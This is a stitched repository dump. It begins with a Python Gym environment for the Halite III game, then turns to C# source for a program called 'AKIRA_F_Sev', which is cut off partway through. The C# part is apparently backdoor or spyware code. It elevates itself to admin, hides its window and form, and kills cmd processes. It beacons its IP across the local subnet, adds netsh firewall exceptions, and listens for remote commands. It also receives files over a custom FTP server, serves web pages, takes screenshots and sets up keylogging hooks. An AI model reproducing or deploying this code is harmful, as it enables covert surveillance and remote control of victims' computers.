self.spawnShip(factories[0][loc], factories[1][loc]) #Deinceventize outright bad/invalid moves if(not success): playerReward[self.map[factories[0][loc], factories[1][loc], 4].astype(np.int64) - 1] -= 0.1 #Reset inspiration map self.map[:, :, 5].fill(0) #Update inspiration/extraction nearShips = np.where(self.map[:, :, 3] == 1) maxEnergy = Constants.MAX_ENERGY bonusMultiplier = Constants.INSPIRED_BONUS_MULTIPLIER for loc in range(0, len(nearShips[0])): #Remember ships[0][loc] is y and ships[1][loc] is x inspired = self.isInspired(nearShips[1][loc], nearShips[0][loc]) ratio = Constants.INSPIRED_EXTRACT_RATIO if inspired else Constants.EXTRACT_RATIO extracted = np.ceil(self.map[nearShips[0][loc], nearShips[1][loc], 0] / ratio).astype(np.int64) gained = extracted if(extracted == 0 and self.map[nearShips[0][loc], nearShips[1][loc], 0] > 0): extracted = gained = self.map[nearShips[0][loc], nearShips[1][loc], 0] if(extracted + self.map[nearShips[0][loc], nearShips[1][loc], 1] > maxEnergy): extracted = maxEnergy - self.map[nearShips[0][loc], nearShips[1][loc], 1] if(inspired): gained += bonusMultiplier * gained if(maxEnergy - self.map[nearShips[0][loc], nearShips[1][loc], 1] < gained): gained = maxEnergy - self.map[nearShips[0][loc], nearShips[1][loc], 1] self.map[nearShips[0][loc], nearShips[1][loc], 1] += gained self.map[nearShips[0][loc], nearShips[1][loc], 0] -= extracted #Capture is currently disabled according to constants, so not adding it for playerId in range(0, len(playerReward)): playerReward[playerId] += self.playerHalite[playerId] * 0.0005 return ((self.map[:, :, :5], self.playerHalite), playerReward) def render(self, mode = 'human'): """ Renders the current Halite III game environment as three plots for easier debugging. The leftmost subplot is the current halite distribution on the map. The middle subplot is whether nothing/ship/factory exists at a location. The rightmost subplot describes ownership. """ fig = plt.figure(figsize=(8, 8)) fig.add_subplot(2, 3, 1) plt.gca().set_title("Halite Map") plt.imshow(self.map[:, :, 0], cmap='hot', interpolation='nearest') fig.add_subplot(2, 3, 2) plt.gca().set_title("Ship Amount") plt.imshow(self.map[:, :, 1], cmap='hot', interpolation='nearest') fig.add_subplot(2, 3, 3) plt.gca().set_title("Factory/Dropoff Locs") plt.imshow(self.map[:, :, 2], cmap='hot', interpolation='nearest') fig.add_subplot(2, 3, 4) plt.gca().set_title("Ship Locs") plt.imshow(self.map[:, :, 3], cmap='hot', interpolation='nearest') fig.add_subplot(2, 3, 5) plt.gca().set_title("Ownership") plt.imshow(self.map[:, :, 4], cmap='hot', interpolation='nearest') fig.add_subplot(2, 3, 6) plt.gca().set_title("Inspiration") plt.imshow(self.map[:, :, 5], cmap='hot', interpolation='nearest') plt.gcf().text(0.5, 0.5, "Player Halite: " + str(self.playerHalite)) plt.show() def reset(self): """ Resets HaliteEnv environment. If <regenMapOnReset> in __init__() is True, it regenerates the map. Otherwise, it just replaces the used map with a copy of the original. """ if(not self.regenMap): self.map = self.originalMap.copy() else: self.map = Map.generateFractalMap(self.mapSize, self.numPlayers) self.playerHalite = np.empty((numPlayers, 1)) self.playerHalite.fill(5000) def isInspired(self, shipX, shipY): """ Determines if the ship at location is inspired. The calculation is not perfect - it missed inspired ships at far diagonals since it does calculations based on rectangles. TODO: Improve inspired calculations (add more rectangles to check) PRIORITY TODO: Critical bug where enemies inspire each other Parameters: ----------- shipX : int X-coordinate of ship shipY : int Y-coordinate of ship Returns: -------- result : bool Whether ship is inspired """ #First check if ship is inspired - it would be inspired if it had a 1 at index 4 if(self.map[shipY, shipX, 5] == 1): return True #If it isn't inspired check nearby ships #First rectangle check (13x11) marginX1 = shipX - 6 if(marginX1 < 0): marginX1 = 0 marginX2 = shipX + 6 if(marginX2 >= self.map.shape[1]): marginX2 = self.map.shape[1] - 1 marginY1 = shipY - 5 if(marginX1 < 0): marginX1 = 0 marginY2 = shipY + 5 if(marginY2 >= self.map.shape[0]): marginY2 = self.map.shape[0] - 1 #TODO: More rectangle checks to improve accuracy #TODO: Is there a NumPy improvement to below (so I don't have to compare against 1)? nearShips = np.where(self.map[marginY1:marginY2, marginX1:marginX2, 3] == 1) for loc in range(0, len(nearShips[0])): #for nearX in nearShips[1]: x = nearShips[1][loc] + marginX1 y = nearShips[0][loc] + marginY1 if(self.map[y, x, 4] == self.map[shipY, shipX, 4]): #Found nearby ship, setting inspiration and returning self.map[marginY1:marginY2, marginX1:marginX2, 5] = 1 return True self.map[marginY1:marginY2, marginX1:marginX2, 5] = 1 return False def destroyShip(self, shipY, shipX): """ Destroys ship at coordinates <X, Y> Parameters: ----------- shipX : int X-coordinate of ship shipY : int Y-coordinate of ship """ self.map[shipY, shipX, 0] += self.map[shipY, shipX, 1] self.map[shipY, shipX, 1] = 0 self.map[shipY, shipX, 3] = 0 if(self.map[shipY, shipX, 2] == 0): self.map[shipY, shipX, 4] = 0 def constructDropoff(self, shipY, shipX): """ Converts the Ship at <shipX, shipY> to a Dropoff. Parameters: ----------- shipX : int X-coordinate of ship shipY : int Y-coordinate of ship Returns: -------- bool Whether Dropoff construction was successful """ #First, check if player has enough halite to construct dropoff. If not, return False if((self.playerHalite[self.map[shipY, shipX, 4].astype(np.int64) - 1] + self.map[shipY, shipX, 0] - Constants.DROPOFF_COST) < 0): return False #There is already a dropoff/factory here, don't recreate if(self.map[shipY, shipX, 2] != 0): return False self.playerHalite[self.map[shipY, shipX, 4].astype(np.int64) - 1] += self.map[shipY, shipX, 0] self.playerHalite[self.map[shipY, shipX, 4].astype(np.int64) - 1] -= Constants.DROPOFF_COST self.map[shipY, shipX, 3] = 0 self.map[shipY, shipX, 2] = -1 self.map[shipY, shipX, 0] = 0 return True def moveShip(self, shipY, shipX, move): """ Moves the ship at <shipX, shipY> in the direction specified by <move> Parameters: ----------- shipX : int X-coordinate of ship shipY : int Y-coordinate of ship move : char Direction to move in ('N', 'E', 'S', 'W') Returns: -------- bool Whether turn was successful """ #First, check if ship has enough halite to move. If not, return False cost = Constants.INSPIRED_MOVE_COST_RATIO if self.map[shipY, shipX, 5] == 1 else Constants.MOVE_COST_RATIO required = self.map[shipY, shipX, 0] / cost if(self.map[shipY, shipX, 1] < required): return False if(move == 'N'): if(shipY == 0): #Cannot move North return False else: return self.attemptMove(shipX, shipY, shipX, shipY - 1) elif(move == 'E'): if(shipX == self.map.shape[1] - 1): #Cannot move East return False else: return self.attemptMove(shipX, shipY, shipX + 1, shipY) elif(move == 'S'): if(shipY == self.map.shape[0] - 1): #Cannot move South return False else: return self.attemptMove(shipX, shipY, shipX, shipY - 1) else: #Moving West if(shipX == 0): return False else: return self.attemptMove(shipX, shipY, shipX - 1, shipY) def attemptMove(self, shipX, shipY, newX, newY): """ Helper function for moveShip(). Processes collisions and halite dropoff. Parameters: ----------- shipX : int Origin X-coordinate of ship moving shipY : int Origin Y-coorinate of ship moving newX : int New X-coordinate of ship newY : int new Y-coordinate of ship Returns: -------- bool Whether turn was successful """ if(self.map[newY, newX, 3] == 1): #There exists a ship where we are trying to move if(self.map[shipY, shipX, 4] == self.map[newY, newX, 4]): #We are trying to hit our own ship. #Later, try removing this and see if some strategy emerges (like crashing ships at end to speed up dropoff) return False else: #Handle collisions #Note that having allied ships crash into each other is better at the end (to speed up dropoff) #I will need to rewrite this code if I decide to add hitting own ships if(self.map[shipY, shipX, 2] == 0): self.map[shipY, shipX, 4] = 0 self.map[shipY, shipX, 3] = 0 if(self.map[newY, newX, 2] == 0): self.map[newY, newX, 4] = 0 self.map[newY, newX, 3] = 0 self.map[newY, newX, 0] += self.map[shipY, shipX, 1] + self.map[newY, newX, 1] self.map[newY, newX, 1] = 0 self.map[shipY, shipX, 1] = 0 return True elif(self.map[newY, newX, 2] != 0): if(self.map[newY, newX, 4] == self.map[shipY, shipX, 4]): #Depositing into dropoff/factory self.map[newY, newX, 1] += self.map[shipY, shipX, 1] self.playerHalite[self.map[shipY, shipX, 4].astype(np.int64) - 1] += self.map[shipY, shipX, 1] #Removing ship's owned halite self.map[shipY, shipX, 1] = 0 #Moving ship on top if(self.map[shipY, shipX, 2] == 0): self.map[shipY, shipX, 4] = 0 self.map[shipY, shipX, 3] = 0 self.map[newY, newX, 3] = 1 return True else: #We are on top of enemy factory! To make my spawnShip function easier, I'm going to deincentivize this return False else: #Just moving on self.map[newY, newX, 4] = self.map[shipY, shipX, 4] self.map[newY, newX, 3] = 1 self.map[newY, newX, 1] = self.map[shipY, shipX, 1] self.map[shipY, shipX, 3] = 0 self.map[shipY, shipX, 1] = 0 if(np.abs(self.map[shipY, shipX, 2]) == 0): #Only change ownership if we weren't on top of dropoff/factory self.map[shipY, shipX, 4] = 0 return True def spawnShip(self, factoryY, factoryX): """ Spawns a Ship at coordinates <factoryX, factoryY> Parameters: ----------- factoryX : int X-coordinate of factory factoryY : int Y-coordinate of factory Returns: -------- bool Whether spawning ship was succesful """ if(self.playerHalite[self.map[factoryY, factoryX, 4].astype(np.int64) - 1] - Constants.NEW_ENTITY_ENERGY_COST < 0): return False else: if(self.map[factoryY, factoryX, 3] == 1): #Ship exists on top of factory already - don't create return False else: self.playerHalite[self.map[factoryY, factoryX, 4].astype(np.int64) - 1] -= Constants.NEW_ENTITY_ENERGY_COST self.map[factoryY, factoryX, 3] = 1 self.map[factoryY, factoryX, 1] = 0 return True class MapType(Enum): """ Enum of the different map types """ BASIC = 0 FRACTAL = 1 BLUR = 2 class MapSize(Enum): """ Enum of the different possible map sizes """ TINY = 32 SMALL = 40 MEDIUM = 48 LARGE = 56 GIANT = 64 class Map: """ Class that holds the map-generation functions """ def generateBasicMap(mapSize): """ Generates a basic map (a map with all cells having 10 halite) TODO: Complete function to include factories and players """ #Default halite value is 10 before transformations map = np.empty((mapSize, mapSize, 3)) map[:, :, 0].fill(10) return map def generateBlurMap(mapSize): """ Stub of future generator for a blur-style map """ print("Blur") def generateSmoothNoise(sourceNoise, wavelength): """ Helper function for generateFractalMap. Generates smoothed noise for fractals """ miniSource = np.zeros((np.ceil(float(sourceNoise.shape[0]) / wavelength).astype(np.int64), np.ceil(float(sourceNoise.shape[1]) / wavelength).astype(np.int64))) for y in range(0, miniSource.shape[0]): for x in range(0, miniSource.shape[1]): miniSource[y, x] = sourceNoise[wavelength * y, wavelength * x] smoothedSource = np.zeros_like(sourceNoise) for y in range(0, sourceNoise.shape[0]): yI = int(y / wavelength) yF = int(y / wavelength + 1) % miniSource.shape[0] verticalBlend = float(y) / wavelength - yI for x in range(0, sourceNoise.shape[1]): xI = int(x / wavelength) xF = int(x / wavelength + 1) % miniSource.shape[1] horizontalBlend = float(x) / wavelength - xI topBlend = (1 - horizontalBlend) * miniSource[yI][xI] + horizontalBlend * miniSource[yI][xF] bottomBlend = (1 - horizontalBlend) * miniSource[yF][xI] + horizontalBlend * miniSource[yF][xF] smoothedSource[y][x] = (1 - verticalBlend) * topBlend + verticalBlend * bottomBlend return smoothedSource def generateFractalMap(mapSize, numPlayers): """ Generates fractal-based map """ numTiles = 1 numTileRows = 1 numTileCols = 1 while numTiles < numPlayers: numTileCols *= 2 numTiles *= 2 if numTiles is numPlayers: break numTileRows *= 2 numTiles *= 2 tileWidth = int(mapSize / numTileCols) tileHeight = int(mapSize / numTileRows) sourceNoise = np.square(np.random.uniform(0.0, 1.0, (tileHeight, tileWidth))) region = np.zeros((tileHeight, tileWidth)) maxOctave = np.floor(np.log2(min(tileHeight, tileWidth))) + 1 amplitude = 1.0 for octave in np.arange(2, maxOctave + 1, 1):# range(2, maxOctave + 1): smoothedSource = Map.generateSmoothNoise(sourceNoise, int(round(pow(2, maxOctave - octave)))) region += amplitude * smoothedSource amplitude *= Constants.PERSISTENCE amplitude += amplitude * smoothedSource region = np.square(region) maxCellProduction = np.random.randint(0, 7296) % (1 + Constants.MAX_CELL_PRODUCTION - Constants.MIN_CELL_PRODUCTION) + Constants.MIN_CELL_PRODUCTION region *= maxCellProduction / region.max() tile = np.empty((tileHeight, tileWidth, 6)) #Halite on floor tile[:, :, 0] = np.round(region) #Halite on ships tile[:, :, 1].fill(0) #Factories tile[:, :, 2].fill(0) #Ships tile[:, :, 3].fill(0) #Ownership tile[:, :, 4].fill(0) #Inspiration tile[:, :, 5].fill(0) factoryX = int(tileWidth / 2) factoryY = int(tileHeight / 2) if tileWidth >= 16 and tileWidth <= 40 and tileHeight >= 16 and tileHeight <= 40: factoryX = 8 + ((tileWidth - 16) / 24.0) * 20 if numPlayers > 2: factoryY = 8 + ((tileHeight - 16) / 24.0) * 20 tile[factoryY, factoryX, 0] = 0 tile[factoryY, factoryX, 2] = 1 tile[factoryY, factoryX, 4] = 1 currentWidth = tileWidth currentHeight = tileHeight numTiles = 1 while numTiles < numPlayers: #Flipping over vertical line flip = np.fliplr(tile) tile = np.concatenate((tile, flip), axis=1) currentWidth *= 2 numTiles *= 2 if numTiles is numPlayers: break #Flipping over horizontal line flip = np.flipud(tile) tile = np.concatenate(tile, flip) currentHeight *= 2 numTiles *= 2 playerNum = 1 for i in range(1, int(currentWidth / tileWidth) + 1): for j in range(1, int(currentHeight / tileHeight) + 1): tile[((j - 1) * tileHeight):(j * tileHeight), ((i - 1) * tileWidth):(i * tileWidth), 4] *= playerNum playerNum += 1 return tile class Constants: """ Stores the constants used by the Halite III game as of early December 2018 """ CAPTURE_ENABLED = False CAPTURE_RADIUS = 3 DEFAULT_MAP_HEIGHT = 48 DEFAULT_MAP_WIDTH = 48 DROPOFF_COST = 4000 DROPOFF_PENALTY_RATIO = 4 EXTRACT_RATIO = 4 FACTOR_EXP_1 = 2.0 FACTOR_EXP_2 = 2.0 INITIAL_ENERGY = 5000 INSPIRATION_ENABLED = True INSPIRATION_RADIUS = 4 INSPIRATION_SHIP_COUNT = 2 INSPIRED_BONUS_MULTIPLIER = 2.0 INSPIRED_EXTRACT_RATIO = 4 INSPIRED_MOVE_COST_RATIO = 10 MAX_CELL_PRODUCTION = 1000 MAX_ENERGY = 1000 MAX_PLAYERS = 16 MAX_TURNS = 500 MAX_TURN_THRESHOLD = 64 MIN_CELL_PRODUCTION = 900 MIN_TURNS = 400 MIN_TURN_THRESHOLD = 32 MOVE_COST_RATIO = 10 NEW_ENTITY_ENERGY_COST = 1000 PERSISTENCE = 0.7 SHIPS_ABOVE_FOR_CAPTURE = 3 STRICT_ERRORS = False<file_sep>import numpy as np import gym import haliteenv from haliteenv import Constants import time halite = gym.make('HEnv2PTrain-v0') mapShape = (halite.metadata['map_size'], halite.metadata['map_size'], halite.metadata['num_players']) startTime = time.clock() action = np.ones(mapShape) mapObs, reward = halite.step(action) NUM_STEPS = 5000 dropoffs = 0 for i in range(0, NUM_STEPS): action = np.zeros(mapShape, np.int64) for player in range(0, halite.metadata['num_players']): if i % 2 == 0: ships = np.where(mapObs[0][:, :, 3] == 1) for loc in range(0, len(ships[0])): if((mapObs[1][player] + mapObs[0][ships[0][loc], ships[1][loc], 0]) > Constants.DROPOFF_COST and mapObs[0][ships[0][loc], ships[1][loc], 4] == player + 1 and mapObs[0][ships[0][loc], ships[1][loc], 2] == 0 and dropoffs < 4): action[ships[0][loc], ships[1][loc], player] = 2 #Convert to dropoff dropoffs += 1 else: action[ships[0][loc], ships[1][loc], player] = np.random.randint(3, 7)#Do random action else: factories = np.where(mapObs[0][:, :, 2] == 1) for loc in range(0, len(factories[0])): #Spawn ships whenever possible #The environment would just ignore if no ship can be spawned action[factories[0][loc], factories[1][loc], player] = 1 mapObs, reward = halite.step(action) timeTaken = time.clock() - startTime print(str(timeTaken) + " seconds") print("Average time per loop: " + str(timeTaken / NUM_STEPS)) print("Finished! Rendering . . .") halite.render()<file_sep># Halite3 ### THIS PROJECT IS CURRENTLY ON INCOMPLETE AND ON HOLD. I INTEND TO RESTART IT IF/WHEN HALITE 4 IS RELEASED OpenAI Gym implementation of the Halite III game to make reinforcement-learning easier This Gym environment _does not_ depend on the Halite III environment (it is a complete standalone). Instead of using Halite III's input/output-stream based engine this environment uses a custom engine I created. It isn't a perfect clone of Halite III's engine but pretty close. Since it doesn't depend on input/output streams, it doens't have the delay associated with actions that Halite III's engine does. This means the environment takes (on average, tested over 10000 steps) __~0.002 seconds per step__. The environment is stored on Halite3/haliteenv. I plan to clean up this repository and make it easier to use in the future (this is on Github mostly for personal use, but public in case others might benefit).
d79e4a0c5a8c16684a06303d821322addb2c832e
[ "Markdown", "Python" ]
4
Python
UsaidPro/Halite3
a862b3c3efe24319a5b8355396f8c978f3938548
fcd30d89a5c013b539dd7ee397be00ab0e2ed8e7
refs/heads/master
<repo_name>tcfunk/oc-demo-frontend<file_sep>/web/app.js Vue.config.devtools = true; var Node = Vue.component('Node', { template: ` <span>{{ name }}</span> `, props: [ 'name', ] }); var Group = Vue.component('Group', { template: ` <span>Group {{ id }}</span> `, props: [ 'id', ] }) var app = new Vue({ el: '#app', data: function() { return { isLoading: true, loadingMessage: "Loading...", currentTab: "nodes", nodes: {}, groups: {}, } }, mounted: function() { var me = this; axios.get('http://localhost:8888/nodes.json').then(function(response) { me.nodes = response.data; if (me.isLoading) { me.currentTab = "groups"; me.isLoading = false; } }); axios.get('http://localhost:8888/groups.json').then(function(response) { me.groups = response.data; if (me.isLoading) { me.currentTab = "nodes"; me.isLoading = false; } }); }, methods: { showNodes: function() { this.currentTab = "nodes"; }, showGroups: function() { this.currentTab = "groups"; } } });
984a1804e56d45288bc8ef208665e1482920adf6
[ "JavaScript" ]
1
JavaScript
tcfunk/oc-demo-frontend
ed124eac96c967ad908dd44ce33b4d3f0d6b6851
bb6efea6478e402619a928b4de6232106995df97
refs/heads/main
<file_sep>using Microsoft.Win32; using System; using System.Collections.Generic; using System.Diagnostics; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.IO.Compression; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Security.Principal; using System.Text; using System.Threading; using System.Timers; using System.Windows.Forms; namespace AKIRA_F_Sev { public partial class Form1 : Form { public Form1() { InitializeComponent(); } [DllImport("kernel32.dll")] static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("user32.dll")] public static extern void keybd_event(uint vk, uint scan, uint flags, uint extraInfo); const int SW_HIDE = 0; const int SW_SHOW = 5; public int T = 0; public int T2 = 0; private void Form1_Load(object sender, EventArgs e) { /* 실행 시 관리자 권한 상승을 위한 코드 시작 */ if (/* Main 아래에 정의된 함수 */IsAdministrator() == false) { try { ProcessStartInfo procInfo = new ProcessStartInfo(); procInfo.UseShellExecute = true; procInfo.FileName = Application.ExecutablePath; procInfo.WorkingDirectory = Environment.CurrentDirectory; procInfo.Verb = "runas"; Process.Start(procInfo); } catch (Exception ex) { Console.WriteLine(ex.Message.ToString()); } Application.ExitThread(); Application.Exit(); return; } //Thread cts = new Thread(new ThreadStart(CTS)); //cts.Start(); var handle = GetConsoleWindow(); // Hide ShowWindow(handle, SW_HIDE); this.Opacity = 0; this.ShowInTaskbar = false; Start(); } /* 실행 시 관리자 권한 상승을 위한 함수 시작 */ public static bool IsAdministrator() { WindowsIdentity identity = WindowsIdentity.GetCurrent(); if (null != identity) { WindowsPrincipal principal = new WindowsPrincipal(identity); return principal.IsInRole(WindowsBuiltInRole.Administrator); } return false; } /* 실행 시 관리자 권한 상승을 위한 함수 끝 */ public static string CHAT = "OK"; public static int T2S_S = 0; public string chat { get { return CHAT; } set { CHAT = value; } } public int T2S { get { return T2S_S; } set { T2S_S = value; } } public void Start() { Thread t1 = new Thread(new ThreadStart(timer1Start)); //자신의 IP정보를 모든 대역으로 보낸다. //보내는 모든 대역은 가장기본인 192.168.0.xxx 다 상황에따라 바꿔사용한다. t1.Start(); Thread t2 = new Thread(new ThreadStart(timer2Start)); //richbox 갱신 t2.Start(); IPEndPoint ipEndPoint1 = new IPEndPoint(IPAddress.Any, 7779); IPEndPoint ipEndPoint2 = new IPEndPoint(IPAddress.Any, 7080); IPEndPoint ipEndPoint3 = new IPEndPoint(IPAddress.Any, 8087); IPEndPoint[] ipEndPoint = new IPEndPoint[3] { ipEndPoint1, ipEndPoint2, ipEndPoint3 }; //IPEndPoint[] ipEndPoint = new IPEndPoint[1] { ipEndPoint1 }; ListenPorts listenport = new ListenPorts(ipEndPoint); listenport.beginListen(); richTextBox1.Text += "Begin Listen" + Environment.NewLine; } void timer1Start() { System.Timers.Timer timer1 = new System.Timers.Timer(); timer1.Interval = 1000; timer1.Elapsed += new ElapsedEventHandler(timer1_Elapsed); timer1.Start(); } void timer1_Elapsed(object sender, ElapsedEventArgs e) { T++; if (T == 600) { BroadCast(); T = 0; } } void timer2Start() { System.Timers.Timer timer2 = new System.Timers.Timer(); timer2.Interval = 10; timer2.Elapsed += new ElapsedEventHandler(timer2_Elapsed); timer2.Start(); } void timer2_Elapsed(object sender, ElapsedEventArgs e) { try { if (T2S_S == 1) { richTextBox1.Text += CHAT.ToString() + Environment.NewLine; T2S_S = 0; } } catch { MessageBox.Show("에러"); } } public static byte[] packetData; public void BroadCast() { string MyIP = ""; IPHostEntry host = Dns.GetHostByName(Dns.GetHostName()); MyIP = host.AddressList[0].ToString(); IPEndPoint[] Pumping = new IPEndPoint[254]; string[] BRCast_Array = MyIP.Split('.'); string BRCast = ""; for (int i = 0; i < 2; i++) { BRCast += BRCast_Array[i] + "."; } //BRCast = BRCast.Substring(0, BRCast.LastIndexOf('.')); //마지막 문자열 "." 을 삭제함 for (int i = 0; i < 254; i++) { Pumping[i] = new IPEndPoint(IPAddress.Parse(BRCast + (i + 1)), 12345); //보내는 모든 대역은 가장기본인 192.168.0.xxx 다 상황에따라 바꿔사용한다. } packetData = ASCIIEncoding.ASCII.GetBytes("[" + MyIP.ToString() + "]"); Socket FastSend = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); try { foreach (IPEndPoint ep in Pumping) { //Console.WriteLine(ep.ToString()); FastSend.SendTo(packetData, ep); richTextBox1.Text += "[" + MyIP + "] 를" + ep.ToString() + "에 전송완료" + Environment.NewLine; } } catch (Exception e) { richTextBox1.Text += e + Environment.NewLine; } } private void richTextBox1_KeyDown(object sender, KeyEventArgs e) { } } class ListenPorts { private static readonly string FirewallCmd = "netsh firewall add allowedprogram \"{1}\" \"{0}\" ENABLE"; private static readonly string AdvanceFirewallCmd = "netsh advfirewall firewall add rule name=\"{0}\" dir=in action=allow program=\"{1}\" enable=yes"; private static readonly int VistaMajorVersion = 6; private List<Socket> _Clients; private Thread _Thread; public IPEndPoint ipep1; //Attacker에게 데이터를 전송할 종단점 public IPEndPoint ipep2; //FTP서버 public IPEndPoint ipep3; //Web서버 string Yip; //Attacker의 FTPServer IP public static int T = 0; //에러를 확인하기 위한 인수 Socket[] socket; IPEndPoint[] ipEndPoint; public static string FTPFileN; public static string FolderSC = ""; public static string DIRSC = ""; public static string KLPath = @"C:\factory\key\"; public static int key = 0; public static int key2 = 0; [DllImport("user32.dll")] public static extern int GetAsyncKeyState(Int32 i); internal ListenPorts(IPEndPoint[] ipEndPoint) { this.ipEndPoint = ipEndPoint; socket = new Socket[ipEndPoint.Length]; } public void beginListen() { Process[] processList = Process.GetProcessesByName("cmd"); if (processList.Length > 0) { processList[0].Kill(); } //for (int i = 0; i < ipEndPoint.Length; i++) //{ socket[0] = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket[0].Bind(ipEndPoint[0]); Thread t_handler = new Thread(threadListen); t_handler.IsBackground = true; t_handler.Start(socket[0]); //} } public void WSV() { if (!File.Exists(Application.StartupPath + @"\web\main.html")) { if (!Directory.Exists(Application.StartupPath + @"\web\")) { Directory.CreateDirectory(Application.StartupPath + @"\web\"); } string Htemp = "<html>" + Environment.NewLine + "<head>" + Environment.NewLine + "<meta charset = " + '\u0022' + "utf-8" + '\u0022' + ">" + Environment.NewLine + "</head>" + Environment.NewLine + "<body>" + Environment.NewLine + "<img src = " + '\u0022' + "1.png" + '\u0022' + "width = " + '\u0022' + "100%" + '\u0022' + "height = " + '\u0022' + "100%" + '\u0022' + ">" + Environment.NewLine + "</body>" + Environment.NewLine + "</html>"; File.AppendAllText(Application.StartupPath + @"\web\main.html", Htemp); } socket[2] = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket[2].Bind(ipEndPoint[2]); socket[2].Listen(20); Thread t_handler3 = new Thread(WSV_S); t_handler3.IsBackground = true; t_handler3.Start(socket[2]); } public void WSV_S(object sender) { Form1 cts = new Form1(); while (true) { Socket m_client = sender as Socket; m_client.Listen(20); Socket client = m_client.Accept(); //Socket client = socket[2].Accept(); try { Console.Write("성공"); cts.chat = "성공"; cts.T2S = 1; String file = Recieve(client); Console.WriteLine("========================================"); cts.chat = "========================================"; cts.T2S = 1; Console.WriteLine(file.ToString()); Console.WriteLine("========================================"); cts.chat = "========================================"; cts.T2S = 1; FileInfo FI = new FileInfo(file); client.Send(Header(client, FI)); } catch { } finally { client.Close(); } } } public String Recieve(Socket client) { Form1 cts = new Form1(); String data_str = ""; byte[] data = new byte[4096]; client.Receive(data); Console.WriteLine(Encoding.Default.GetString(data).Trim('\0')); String[] buf = Encoding.Default.GetString(data).Split("\r\n".ToCharArray()); if (buf[0].IndexOf("GET") != -1) { data_str = buf[0].Replace("GET", "").Replace("HTTP/1.1", "").Trim(); } else { data_str = buf[0].Replace("POST ", "").Replace("HTTP/1.1", "").Trim(); } if (data_str.Trim() == "/") { data_str += "main.html"; } int pos = data_str.IndexOf("?"); if (pos > 0) { data_str = data_str.Remove(pos); } Console.WriteLine("========================================"); cts.chat = "========================================"; cts.T2S = 1; Console.WriteLine(data_str.ToString() + "+datastr"); cts.chat = data_str.ToString() + "+datastr"; cts.T2S = 1; Console.WriteLine("========================================"); cts.chat = "========================================"; cts.T2S = 1; return "web" + data_str; //main.html 파일의 폴더경로다 } public byte[] Header(Socket client, FileInfo FI) { Form1 cts = new Form1(); Console.WriteLine("========================================"); cts.chat = "========================================"; cts.T2S = 1; Console.WriteLine(FI.ToString() + "FI"); cts.chat = FI.ToString() + "FI"; cts.T2S = 1; Console.WriteLine("========================================"); cts.chat = "========================================"; cts.T2S = 1; byte[] data2 = new byte[FI.Length]; try { FileStream FS = new FileStream(FI.FullName, FileMode.Open, FileAccess.Read); FS.Read(data2, 0, data2.Length); FS.Close(); String buf = "HTTP/1.0 200 ok\r\n"; buf += "Data: " + FI.CreationTime.ToString() + "\r\n"; buf += "server: Myung server\r\n"; buf += "Content-Length: " + data2.Length.ToString() + "\r\n"; buf += "content-type:text/html\r\n"; buf += "\r\n"; Console.WriteLine("========================================"); cts.chat = "========================================"; cts.T2S = 1; Console.WriteLine(buf.ToString() + "HEADER"); cts.chat = buf.ToString() + "HEADER"; cts.T2S = 1; Console.WriteLine("========================================"); cts.chat = "========================================"; cts.T2S = 1; client.Send(Encoding.Default.GetBytes(buf)); } catch { String buf = "HTTP/1.0 100 BedRequest ok\r\n"; buf += "server: Myung server\r\n"; buf += "content-type:text/html\r\n"; buf += "\r\n"; client.Send(Encoding.Default.GetBytes(buf)); data2 = Encoding.Default.GetBytes("Bed Request"); } return data2; } public void FTPListen() { Form1 cts = new Form1(); socket[1] = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket[1].Bind(ipEndPoint[1]); Thread t_handler2 = new Thread(FTPServer); t_handler2.IsBackground = true; t_handler2.Start(socket[1]); Console.WriteLine("FTP서버 열기성공"); cts.chat = "FTP서버 열기성공"; cts.T2S = 1; } public void FTPServer(object sender) { Form1 cts = new Form1(); Socket m_client = sender as Socket; m_client.Listen(100); Socket newSocket = m_client.Accept(); Console.WriteLine("연결대기 성공"); cts.chat = "연결대기 성공"; cts.T2S = 1; byte[] buffer = new byte[4]; newSocket.Receive(buffer); int fileLength = BitConverter.ToInt32(buffer, 0); buffer = new byte[1024]; int totalLength = 0; Console.WriteLine("성공"); cts.chat = "성공"; cts.T2S = 1; Console.WriteLine(FTPFileN); cts.chat = FTPFileN; cts.T2S = 1; FileStream fileStr = new FileStream(FTPFileN, FileMode.Create, FileAccess.Write); BinaryWriter writer = new BinaryWriter(fileStr); Console.WriteLine("마지막단계 성공"); cts.chat = "마지막단계 성공"; cts.T2S = 1; while (totalLength < fileLength) { int receiveLength = newSocket.Receive(buffer); writer.Write(buffer, 0, receiveLength); totalLength += receiveLength; } Console.WriteLine("전송받음"); cts.chat = "전송받음"; cts.T2S = 1; writer.Close(); newSocket.Close(); m_client.Close(); try { File.Move(FTPFileN, "C:\\factory\\" + FTPFileN); } catch { if (File.Exists("C:\\factory\\" + FTPFileN)) { File.Delete(FTPFileN); } } return; } public static bool AuthorizeProgram(string name, string programFullPath) { try { // OS version check string strFormat = FirewallCmd; if (System.Environment.OSVersion.Version.Major >= VistaMajorVersion) { strFormat = AdvanceFirewallCmd; } // Start to register string command = String.Format(strFormat, name, programFullPath); System.Console.WriteLine(command); ProcessStartInfo startInfo = new ProcessStartInfo(); startInfo.CreateNoWindow = true; startInfo.FileName = "cmd.exe"; startInfo.UseShellExecute = false; startInfo.RedirectStandardInput = true; startInfo.RedirectStandardOutput = true; startInfo.RedirectStandardError = true; Process process = new Process(); process.EnableRaisingEvents = false; process.StartInfo = startInfo; process.Start(); process.StandardInput.Write(command + Environment.NewLine); process.StandardInput.Close(); string result = process.StandardOutput.ReadToEnd(); string error = process.StandardError.ReadToEnd(); process.WaitForExit(); process.Close(); } catch { return false; } return true; } void CAP() { Form1 cts = new Form1(); test1 ms = new test1(); ms.a = new List<Int32>(); int FN = 1; int max = 0; var bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb); var gfxScreenShot = Graphics.FromImage(bmpScreenshot); gfxScreenShot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, 